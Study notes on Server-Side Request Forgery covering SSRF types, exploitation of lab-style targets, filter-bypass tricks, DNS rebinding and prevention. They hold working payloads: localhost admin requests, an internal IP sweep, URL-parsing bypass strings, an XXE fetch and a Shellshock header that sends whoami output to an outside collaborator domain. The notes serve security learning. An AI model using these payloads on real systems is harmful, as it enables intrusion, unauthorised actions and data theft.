

SSRF notes

Eyad Islam El-Taher

February 28, 2026

What is SSRF

Server-Side Request Forgery (SSRF) is a vulnerability where an attacker tricks a server into making a request to a location it shouldn't.

Think of the server as a **proxy**. Normally, a server takes a request from a user and fetches data from the public internet. In an SSRF attack, the attacker provides a URL (like an internal IP address) that the server then "fetches" on the attacker's behalf.

How the Attack Works

- **Normal Request:** A user asks the server to "Fetch my profile picture from `images.com`." The server complies and shows the image.
- **SSRF Attack:** An attacker asks the server to "Fetch data from `http://localhost/admin`." Because the server trusts itself, it fetches its own private admin page and sends it to the attacker.

Important note

In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update **internal resources**. The attacker can supply or modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like http enabled databases or perform post requests towards internal services which are not intended to be exposed.

The Logic

In simple terms, the vulnerability occurs when the Attacker (A) controls the destination (D) of a request made by the Server (S):

$$A \rightarrow S \rightarrow D$$

Where D is a sensitive internal resource that the attacker cannot reach directly.

Types of SSRF

SSRF vulnerabilities are generally categorized based on whether the attacker can see the server's response.

1. Basic (In-Band) SSRF

In a Basic SSRF, the server fetches data from the internal resource and sends the full response back to the attacker.

- **Scenario:** The attacker requests `http://127.0.0.1/admin`.
- **Result:** The server displays the administrative dashboard directly on the attacker's screen.
- **Impact:** High. It allows for direct data exfiltration and easy exploration of the internal network.

2. Blind SSRF

In a Blind SSRF, the server makes the request to the target URL, but it **does not** return the response data to the attacker. The attacker must look for "side-channel" clues to confirm the attack worked.

- **How to Detect:**

- **Response Time:** If the server takes 10 seconds to respond to an internal IP but 1 second to a dead IP, the internal IP is likely "alive."
- **HTTP Status Codes:** The server might return a 200 OK for a valid internal service and a 500 Error for an invalid one.
- **Out-of-Band:** The attacker forces the server to reach out to a server they control (like a Burp Collaborator instance) to log the connection.

Summary Table

Feature	Basic SSRF	Blind SSRF
Response Visible	Yes	No
Data Exfiltration	Easy (Direct)	Hard (Indirect)
Primary Goal	Reading sensitive data	Port scanning / Remote attacks

SSRF vulnerabilities happen when

SSRF occurs because of a breakdown in trust between the user's input and the server's networking functions. Specifically, it happens when:

1. Unvalidated User Input

The application takes a URL or a hostname from a user and uses it in a server-side request without checking where it points.

- **Example:** A "Import from URL" feature that allows `http://169.254.169.254` instead of only `https://trusted-site`

2. Trusting the Internal Network

Many developers assume that because a service (like a database or admin panel) is "internal," it doesn't need a password or strong security.

- **The Flaw:** When the server makes the request, it acts as a "trusted insider," bypassing the firewall that keeps the Attacker out.

3. Poorly Configured Blocklists

Sometimes developers try to block "bad" words like `localhost` or `127.0.0.1`. Attackers can easily bypass these using:

- **Alternative IP Formats**
- **DNS Rebinding**
- **Redirects**

Where to Find SSRF Vulnerabilities

SSRF is commonly found in features that require the server to act as a client to fetch external data. Look for parameters that contain URLs, IP addresses, or hostnames.

1. Common Application Features

Check any functionality that processes external links:

- **Profile Pictures:** Uploading an image via a URL (e.g., `?avatar=http://site.com/img.jpg`).
- **Webhooks:** Providing a URL for the server to send notifications to.
- **File Converters:** Converting a URL to a PDF or a document (e.g., `?url=https://target.com`).
- **Proxy Services:** Features designed to fetch content from other sites to bypass CORS or provide "anonymity."
- **Import/Export:** Importing data from an external RSS feed, spreadsheet, or API.

2. Vulnerable Parameters

When spidering a website, keep an eye out for these specific parameter names:

dest	redirect	uri
path	continue	window
url	callback	feed
to	out	view

3. PDF Generators

Many applications use libraries (like `wkhtmltopdf`) to turn HTML into PDFs. If you can inject an `<iframe>` or `` tag pointing to an internal IP, the server may "render" the internal resource into the PDF it gives back to you.

Impact of SSRF Attacks

The severity of an SSRF vulnerability is determined by the level of access the vulnerable server has to other internal systems.

1. Access to Internal Services

Attackers can interact with services that were never intended to be public.

- **Admin Panels:** Accessing internal dashboards (e.g., `/admin`, `/manager`) that don't have passwords because they assume only "internal" users can reach them.
- **Databases:** Interacting with local databases like Redis, MongoDB, or Memcached to steal or delete data.

2. Internal Port Scanning

An attacker can use the vulnerable server as a "pivot" to map out the internal network.

- By observing response times or HTTP status codes, the attacker can identify which internal IP addresses and ports (e.g., 22 for SSH, 80 for HTTP, 443 for HTTPS) are active.

3. Remote Code Execution (RCE)

In some cases, SSRF can lead to full command execution:

- **Protocol Smuggling:** Using schemes like `gopher://` to send complex commands to internal services like Redis or an SMTP server.
- **Software Exploitation:** Attacking unpatched internal tools that have known vulnerabilities.

Summary Table of Impact

Target	Potential Impact
Localhost	Access to local files, logs, and admin tools
Internal Network	Port scanning and lateral movement
Internal APIs	Data manipulation and Remote Code Execution

How to exploit SSRF vulnerabilities?

1. Exploiting In-Band SSRF

In an SSRF attack against the server, the attacker causes the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This typically involves supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or `localhost` (a commonly used name for the same adapter).

Example Scenario: Shopping Application

Imagine a shopping application that lets the user view whether an item is in stock in a particular store. To provide the stock information, the application must query various back-end REST APIs. It does this by passing the URL to the relevant back-end API endpoint via a front-end HTTP request.

When a user views the stock status for an item, their browser makes the following request:

```
POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
```

```
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
```

This causes the server to make a request to the specified URL, retrieve the stock status, and return this to the user.

The Attack

In this example, an attacker can modify the request to specify a URL local to the server:

```
POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
```

```
stockApi=http://localhost/admin
```

The server fetches the contents of the `/admin` URL and returns it to the user.

Why this works (Trust Issues)

An attacker can visit the `/admin` URL directly, but administrative functionality is normally only accessible to authenticated users. However, if the request to the `/admin` URL comes from the **local machine**, the normal access controls are often bypassed.

The application grants full access to the administrative functionality because the request appears to originate from a *trusted location* (the server itself).

The Logic of Trust Bypasses

In many environments, SSRF becomes critical because of how internal trust is architected:

- **Decoupled Access Control:** The access control check might be implemented in a different component (like a Reverse Proxy or WAF) that sits in front of the application server. When a connection is made *directly* back to the server via SSRF, this external check is bypassed.
- **Disaster Recovery Mechanisms:** For disaster recovery, an application might allow administrative access without logging in to any user coming from the local machine. This assumes that only a fully trusted user would have direct access to the server's console or loopback interface.
- **Hidden Services:** The administrative interface might listen on a different port number than the main application (e.g., port 8080 or 9000) and may be firewalled from external users, but reachable via the server itself.

Practical Example: Brute Forcing Internal IP Ranges

If you identify a potential SSRF in a stock-check feature, you can use a proxy tool like Burp Suite to map the internal network.

1. **Intercept:** Visit a product, click “Check stock,” and intercept the request in Burp Suite. Send it to **Burp Intruder**.
2. **Set Payload Position:** Change the `stockApi` parameter to target an internal range:
`stockApi=http://192.168.0.§1§:8080/admin`
Highlight the final octet and click **Add §**.
3. **Configure Payloads:**
 - Payload type: **Numbers**.
 - Settings: From 1, To 255, Step 1.
4. **Analyze Results:** Start the attack. Sort the results by the **Status** column. A 200 OK response indicates a live internal administrative interface.
5. **Execute Action:** Once the interface is found (e.g., at IP .12), send the request to **Burp Repeater** and modify the path to perform an action, such as deleting a user:
`stockApi=http://192.168.0.12:8080/admin/delete?username=carlos`

Note: These trust relationships, where requests originating from the local machine are handled with higher privileges, are what elevate SSRF to a critical vulnerability.

Circumventing Common SSRF Defenses

It is common to see applications containing SSRF behavior paired with defenses aimed at preventing exploitation. However, these defenses are often based on pattern matching and can be circumvented with specific bypass techniques.

SSRF with Blacklist-Based Input Filters

Some applications block input containing sensitive hostnames like `127.0.0.1` and `localhost`, or specific keywords like `/admin`. In these situations, the following techniques can often bypass the filter:

- **Alternative IP Representation:** Use different formats for the loopback address that the filter might not recognize:
 - **Decimal:** 2130706433
 - **Octal:** 017700000001
 - **Shortened:** 127.1
- **DNS Pinning / Custom Domains:** Register a domain name that resolves to 127.0.0.1.
 - Example: `spoofed.burpcollaborator.net`
 - This works because the application checks the hostname string (which looks safe) instead of the IP it resolves to.
- **Obfuscation:** Hide blocked strings using encoding or capitalization tricks:
 - **URL Encoding:** Use double encoding or hex variations (e.g., `%61dmin`).
 - **Case Variation:** If the filter is case-sensitive, try `/Admin` or `/ADMIN`.
- **Redirect Bypasses:** Provide a URL you control which performs a 302 Redirect to the target internal URL.
 - **Protocol Switching:** Try switching from `http:` to `https:` during the redirect. Some filters only check the initial URL provided and fail to re-validate the destination after the redirect.

Note: Blacklists are generally considered a weak defense. A single mistake in the regular expression or an overlooked encoding format is enough for an attacker to gain access.

SSRF with Whitelist-Based Input Filters

Some applications only allow inputs that match a **whitelist** of permitted values (e.g., only allowing URLs starting with `https://trusted-app.com`). These filters often look for the required string at the beginning of the input or anywhere within the string.

You can often bypass these filters by exploiting inconsistencies in how the validation logic and the back-end request library parse URLs.

URL Parsing Tricks

The URL specification contains several features that are often overlooked by ad-hoc parsing and validation logic:

- **Embedded Credentials (@):** You can embed credentials in a URL before the hostname using the @ character. The validator might see the "expected host" at the start, but the requester will actually go to the "evil host."

`https://expected-host:fakepassword@evil-host`

- **URL Fragments (#):** You can use the # character to indicate a URL fragment. Some parsers stop reading at the fragment, while others might misinterpret where the hostname ends.

`https://evil-host#expected-host`

- **DNS Hierarchy:** You can leverage the DNS naming hierarchy to place the required input into a fully-qualified DNS name that you control.

`https://expected-host.evil-host`

- **Encoding and Double-Encoding:** URL-encoding characters (like @ or #) can confuse parsing code. If the filter decodes the string once but the back-end requester decodes it again (recursive decoding), you can hide malicious destinations inside encoded strings.

– Example: %23 for #, or %2523 for a double-encoded #.

- **Combinations:** Most successful bypasses use a mix of these. For example, using an encoded @ and a fragment together to satisfy a complex regex filter.

Crucial Concept: These bypasses work because of a *discrepancy* between two components: one component validates the URL, but a second component (the one actually making the request) interprets the URL differently.

Example: Bypassing Whitelists via Parsing Confusion

This example demonstrates how an attacker can exploit differences in how an application *validates* a URL versus how it *executes* the request.

Payload:

`http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos`

The Vulnerability Logic

1. **The Defense Mechanism:** The application extracts the hostname from the `stockApi` parameter and compares it against a whitelist (e.g., `stock.weliketoshop.net`).
2. **Exploiting User Info (@):** URLs allow the format `http://username@hostname/`. A validator may see `stock.weliketoshop.net` as the host, even if it is preceded by an @ symbol.
3. **Exploiting Fragments (#):** The # character marks the start of a URL fragment, which is typically ignored by the server-side request engine.
4. **The Double-Encoding Trick (%2523):**
 - %23 decodes to #
 - %2523 is a double-encoded # (where %25 is the % sign).

Step-by-Step Execution

Phase A: Validation The application logic parses the URL string. It identifies `stock.weliketoshop.net` as the hostname because the `%2523` hasn't been fully decoded into a fragment delimiter yet. The whitelist check passes **OK**.

Phase B: Backend Request Before the backend library makes the actual network call, it performs another round of URL decoding.

`%2523 → %23 → #`

The URL is now interpreted as: `http://localhost:80#@stock.weliketoshop.net...`

Phase C: The Request Because everything after `#` is treated as a fragment and discarded by the request engine, the server is tricked into making a request to its own loopback interface:

Target: `http://localhost:80/admin/delete?username=carlos`

Result: The whitelist is bypassed, the internal connection to `localhost` is established, and the administrative action (deleting user `carlos`) is performed.

Bypassing SSRF Filters via Open Redirection

Even when an application uses strict whitelists that are difficult to confuse with parsing tricks, it may still be vulnerable if it trusts a domain that contains an **Open Redirection** vulnerability.

If the back-end HTTP library used by the server is configured to follow redirections (like HTTP 301 or 302), an attacker can chain these two vulnerabilities to bypass the URL filter.

The Mechanism

The attacker provides a URL that points to a legitimate, whitelisted domain. However, that legitimate domain then redirects the server's request to an internal, restricted IP address.

Example Scenario

Imagine the application strictly validates that the `stockApi` parameter must start with `http://weliketoshop.net`.

1. Identifying the Open Redirect

The attacker finds that a different part of the whitelisted site (`weliketoshop.net`) has an open redirect:

`GET /product/nextProduct?currentProductId=6&path=http://evil-user.net`

This request causes the server to return a 302 Found response pointing to `http://evil-user.net`.

2. Chaining the Vulnerabilities

The attacker now provides the open redirect URL as the `stockApi` input, but changes the redirect target to an internal administrative IP:

```
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
```

`stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin`

3. The Execution Flow

1. **Validation:** The application checks if `stockApi` starts with `weliketoshop.net`. It does, so validation passes **OK**.
2. **Initial Request:** The server makes a request to its own whitelisted product page.
3. **The Redirect:** The product page returns a 302 redirect to `http://192.168.0.68/admin`.
4. **The SSRF:** The server's HTTP client follows the redirect and makes a second request—this time to the internal admin IP.

2. Exploiting Blind SSRF

Blind SSRF Vulnerabilities

Blind SSRF occurs when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from that request is **not** returned in the application's front-end response.

Impact of Blind SSRF

The impact is generally lower than Regular SSRF because it is a one-way communication. You cannot trivially read sensitive data from internal systems. However, it can still be used for:

- **Internal Reconnaissance:** Probing internal networks for "live" hosts.
- **Exploiting Internal Vulnerabilities:** Sending payloads (like Shellshock) to internal servers.
- **Remote Code Execution (RCE):** Attacking the server's own HTTP client library.

Finding Blind SSRF: Out-of-Band (OAST) Techniques

The most reliable way to detect blind SSRF is to trigger an HTTP request to an external system you control (e.g., **Burp Collaborator**).

The Detection Process

1. Generate a unique domain name using Burp Collaborator.
2. Send this domain in the suspicious parameter (e.g., **Referer** header or a URL parameter).
3. Monitor the Collaborator client for interactions.

Note on DNS vs. HTTP: It is common to see a **DNS lookup** but no subsequent **HTTP request**. This usually means the server tried to resolve the domain (DNS allowed) but the actual connection was blocked by a firewall (Egress filtering).

Exploiting Blind SSRF

Even without seeing the response, exploitation is possible through these methods:

1. Blindly Probing Internal Systems

You can "sweep" internal IP addresses with payloads designed to trigger *other* out-of-band vulnerabilities.

- **Example:** If an internal server is vulnerable to Shellshock, you can send a payload through the SSRF that forces that internal server to ping your Collaborator instance.

2. Attacking the HTTP Client

You can induce the application to connect to a server you control and return a malicious response. If the server's HTTP library (the client) has a vulnerability, you may achieve RCE.

Example: Shellshock via Blind SSRF

In a vulnerable environment, an attacker might provide a URL to an internal server and include a Shellshock payload in a common header (like **User-Agent**):

```
GET /admin HTTP/1.1
Referer: http://192.168.0.25:8080/
User-Agent: () { ;; }; /usr/bin/nslookup $(whoami).xtuz61irevc0rqs7soujd6j7nyttthj58.oastify.com
```

If the internal server at 192.168.0.25 processes this header using a vulnerable version of Bash, This payload uses nslookup to perform a DNS query. The target data (in this case, the output of the whoami command) is placed as a subdomain of your Burp Collaborator or Interactsh domain

Explanation:

1. () ;;: The Shellshock vector

2. `/usr/bin/nslookup`: A command-line tool for DNS queries.
3. `$(whoami)`: Executes the `whoami` command and inserts its output.
4. `YOUR-COLLABORATOR-DOMAIN.com`: The attacker's server. The full lookup will be `username.YOUR-COLLABORATOR-DOMAIN.com`, allowing you to see the username in your DNS logs.

Practical Note: Automating Blind SSRF Detection

Detecting Blind SSRF manually can be time-consuming. Tools like **Collaborator Everywhere** automate the process by injecting unique payloads into common HTTP headers.

Workflow: Using Collaborator Everywhere

1. **Setup**: In Burp Suite Professional, install the **Collaborator Everywhere** extension from the BApp Store.
2. **Scoping**: Add the target domain to Burp Suite's **Target Scope**. This ensures the extension only tests the intended target and avoids "attacking" unrelated sites.
3. **Passive Discovery**: Browse the site normally. The extension will automatically add Collaborator URLs to headers like `Referer`, `X-Forwarded-For`, and `True-Client-IP`.
4. **Verification**:
 - Load a product page and monitor the **Collaborator** tab.
 - If vulnerable, you will observe an HTTP interaction triggered by the `Referer` header.
 - **Key Observation**: Notice if the incoming HTTP interaction contains your original `User-Agent` string. This confirms that the back-end system is passing your headers through to its internal requests.
5. **Transition to Exploit**: Once the interaction is confirmed, send the successful request to **Burp Intruder** to begin probing for internal services or vulnerabilities like Shellshock.

Finding Hidden Attack Surface for SSRF

While many SSRF vulnerabilities are obvious (parameters containing full URLs), many others are "hidden" within partial data, specific file formats, or standard HTTP headers.

1. Partial URLs in Requests

Sometimes, an application only asks for a **hostname** or a **partial path** instead of a full URL.

- **Example**: A request like `POST /api/fetch?server=internal-db-01`.
- **The Mechanism**: The server-side code takes this value and strings it into a full URL: `https://[user_input].company.internal/stats`.
- **Exploitation**: While you don't control the whole URL, you may still be able to pivot. If you can input `localhost#`, the resulting URL might become `https://localhost#.company.internal/...`, effectively making the server request its own loopback interface.

2. URLs within Data Formats

Modern applications use structured data formats that have built-in features for fetching external resources.

- **XML (XXE to SSRF)**: XML parsers often support External Entities. An attacker can submit an XML file that tells the parser to fetch a URL.

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.service/"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

- **PDF Generators**: If a server converts HTML to PDF, you can inject ``. The server will attempt to fetch that image to render the PDF.
- **SVG Images**: SVGs are XML-based. An uploaded SVG can contain tags that force the server to make a request when processing the image.

3. SSRF via the Referer Header

Analytics software and logging systems often track the **Referer** header to see where traffic is coming from.

- **The Attack:** Many analytics tools automatically visit the URL in the **Referer** header to "crawl" the referring site for SEO data or anchor text.
- **Detection:** Because this happens in the background (often via a separate cron job or worker), this is almost always a **Blind SSRF**.

Summary: Always test any header or data field that could potentially lead to a server-side fetch. Even if the application "looks" safe, its background workers (PDF renderers, XML parsers, and Analytics bots) might be vulnerable.

DNS Rebinding + SSRF

DNS Rebinding is a technique that abuses the time gap between DNS resolution and the actual application request to bypass security filters.

The Concept

Normally, a server follows this logic:

1. Receives a URL (e.g., `http://example.com`).
2. Resolves the domain to an IP address.
3. Checks if the IP is allowed (not in a ban list).
4. If allowed, it makes the request using the **domain name**.

In a DNS Rebinding attack, the attacker configures a domain to resolve to different IP addresses at different times.

- **First resolution:** Returns a safe public IP to pass validation.
- **Second resolution:** Returns an internal IP (like `127.0.0.1`) for the actual request.

Technically Vulnerable Logic

The attack exploits a "Time-of-Check to Time-of-Use" (TOCTOU) flaw. Because the application resolves the domain twice, the result of the second resolution can be different from the first.

```
# Example of vulnerable Python logic
ipaddr = socket.gethostbyname(url)
if ipaddr not in ip_ban:
    # The application resolves the URL AGAIN here!
    response = requests.get(url)
```

Step-by-Step Attack Plan

1. **Identify SSRF Sink:** Look for features like PDF generators, webhooks, or image fetchers.
2. **Confirm Blocking:** Verify that direct input like `http://127.0.0.1` is blocked.
3. **Setup Infrastructure:** Use a domain with `**TTL = 0**` (to prevent the server from caching the first "safe" IP).
4. **Configure Two IPs:** Set the DNS to alternate between a Public IP (to pass the filter) and the Target Internal IP (to hit the internal service).
5. **Execute:** Send multiple requests. Eventually, the timing will align so that validation hits the public IP and the request hits the internal IP.

Real Example Flow: PDF Generator

Step	DNS Resolution	Result
1. Validation	attacker.com → 8.8.8.8	Allowed (Passed)
2. DNS Change	attacker.com → 127.0.0.1	Record updated
3. Fetching	attacker.com → 127.0.0.1	Internal Data Fetched!

Note: To defend against this, applications should resolve the hostname **once**, store the IP address, and make the request directly to that IP.

Practical DNS Rebinding with Helper Services

Using a dedicated rebinding service like `lock.cmpxchg8b.com` simplifies the exploitation process by providing a controlled environment for DNS record switching.

How a Rebinding Service Functions

A rebinding service provides a specialized DNS infrastructure that automates the "IP swapping" logic.

- **Dynamic Resolution:** It generates a unique subdomain that resolves to IP #1 on the first query and IP #2 on the subsequent query.
- **Anti-Caching (TTL 0):** It sets the Time-to-Live (TTL) to 0, forcing the victim's server to ask the DNS server for the IP address every single time rather than using a saved (cached) result.

Conceptual Attack Flow

1. **Configuration:** You provide two IPs to the service:

- **First IP:** A safe public IP (e.g., 8.8.8.8).
- **Second IP:** The internal target (e.g., 127.0.0.1 or 169.254.169.254).

The tool generates a subdomain, such as: `abc123.lock.cmpxchg8b.com`.

2. **Submission:** You submit this domain to the vulnerable SSRF endpoint.

Example: `POST /generate-pdf?url=http://abc123.lock.cmpxchg8b.com`

3. **Internal Processing:**

- **Step A (Validation):** The server resolves the domain. The rebinder returns the **Public IP**. The filter sees a safe IP and allows the request.
- **Step B (Fetch):** The server resolves the domain a second time to perform the actual GET request. The rebinder now returns the **Internal IP**.

The Necessity of Multiple Attempts

Because DNS rebinding relies on the timing of two distinct resolution events, it is not always 100% consistent. You may need to send 10–20 requests to align the timing correctly:

- **Fail Case 1:** Both resolutions hit the Public IP (No SSRF occurs).
- **Fail Case 2:** Both resolutions hit the Internal IP (Filter blocks the request).
- **Success Case:** First resolution is Public, second is Internal (Bypass successful).

Pro-Tip: In real-world assessments, if you see a "Connection Refused" after a few attempts on a domain you know is rebinding, it's a strong indicator that you successfully bypassed the filter but hit a closed port on the internal target.

How to Prevent SSRF Vulnerabilities

Preventing SSRF requires a layered defense strategy that addresses the network, the application logic, and the server configuration.

1. Use Allow-lists (Whitelisting)

Instead of trying to block "bad" IPs (which can be bypassed via encoding or rebinding), only allow requests to a predefined list of trusted domains or IP addresses.

- **Strict Matching:** Use exact string matching rather than regular expressions where possible.
- **Validation:** Ensure the protocol is restricted to `http` or `https` only, disabling `file://`, `gopher://`, or `dict://`.

2. Network-Level Isolation

The most effective defense is to ensure the web server physically cannot reach sensitive internal resources.

- **Firewall Rules (Egress Filtering):** Configure the firewall to block the web server from making any outgoing connections to internal IP ranges (e.g., `10.0.0.0/8`, `192.168.0.0/16`).
- **Cloud Metadata Protection:** Disable access to the metadata service (`169.254.169.254`) or require a custom header (like `X-aws-ec2-metadata-token`) that an attacker cannot easily inject via SSRF.

3. Proper URL Handling (Anti-Rebinding)

To prevent DNS Rebinding, the application should not resolve the same hostname twice.

- **Resolve Once:** Resolve the hostname to an IP address at the start of the request.
- **Validate the IP:** Check if that specific IP address is in a private/reserved range.
- **Connect to IP:** Perform the HTTP request directly to that IP address, while manually setting the `Host` header to the original domain name to maintain compatibility with virtual hosting.

4. Disable Unnecessary Handlers

Many SSRF vulnerabilities are escalated by "Protocol Smuggling."

- Use application libraries that only support the protocols you actually need.
- Ensure that secondary features like PDF generators or image processors are running in isolated "sand-boxes" with no network access.

Summary Table: Security Maturity

Strategy	Security Level	Effectiveness
Blacklisting	Low	Easily bypassed (encoding/IP formats)
Whitelisting	Medium	Good, but vulnerable to Open Redirects
Network Isolation	High	Best; stops the request at the firewall

Final Thought: SSRF is a architectural flaw. The goal of a developer should be to treat any user-supplied URL as inherently "poisoned" and never allow the server to act as a blind proxy for the internet.